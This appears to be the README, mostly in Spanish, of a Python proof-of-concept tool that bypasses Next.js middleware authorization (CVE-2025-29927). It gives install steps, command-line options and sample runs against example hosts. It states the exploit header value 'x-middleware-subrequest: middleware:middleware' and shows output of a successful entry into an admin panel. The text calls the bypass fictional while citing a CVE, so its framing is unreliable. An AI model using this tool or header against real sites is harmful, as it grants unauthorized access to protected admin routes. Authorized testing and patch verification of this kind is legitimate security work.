
> 🔓 Prueba de concepto de un bypass ficticio de middleware de Next.js (CVE-2025-29927): elabora sub-solicitudes para probar rutas protegidas.
| Característica | Descripción |
|---|
| ✨ Color y modo verboso | Salida con códigos de color; -v para registros de depuración detallados. |
| 📦 Estructura OOP | Diseño basado en clases para mayor claridad y mantenibilidad. |
| 🌐 Soporte de proxy | Enruta el tráfico a través de proxies HTTP(S) mediante --proxy. |
| 🍪 Manejo de sesiones | requests.Session persistente para reutilización de cookies y conexiones. |
| 🚦 Control de redirecciones | Sin seguimiento de redirecciones de forma predeterminada; detecta claramente éxito vs. fallo. |
| 🛠 Encabezados personalizados | Sobrescribe User-Agent, x-middleware-subrequest o añade encabezados. |
# Clone repository
git clone https://github.com/your-username/nextjs-middleware-poc.git
cd nextjs-middleware-poc
# (Optional) Create virtual environment
python3 -m venv .venv
source .venv/bin/activate
# Install dependencies
pip install -r requirements.txt
Requiere Python 3.7+
python poc.py [options] <host>[:port]
| Opción | Descripción |
|---|---|
-p, --path PATH | Ruta protegida (predeterminada: /admin) |
-s, --scheme {http,https} | Protocolo (predeterminado: http) |
--header HEADER | Valor del encabezado x-middleware-subrequest (predeterminado: middleware:middleware) |
-ua, --user-agent AGENT | User-Agent personalizado (predeterminado: Mozilla/5.0) |
--proxy PROXY | URL de proxy HTTP(S) (p. ej., http://127.0.0.1:8080) |
-v, --verbose | Habilita la salida de depuración |
-h, --help | Muestra este mensaje de ayuda |
python poc.py localhost:3000
python poc.py example.com -s https -p /dashboard
python poc.py internal-app:8080 --proxy http://127.0.0.1:8080 -v
Éxito
[*] Target URL: http://localhost:3000/admin
[+] SUCCESS: Middleware bypassed — access granted!
--- Response Snippet ---
<!DOCTYPE html><html>…<title>Admin Panel</title>…
Fallo
[*] Target URL: http://localhost:3000/admin
[-] FAIL: Access denied by middleware (302 Redirect)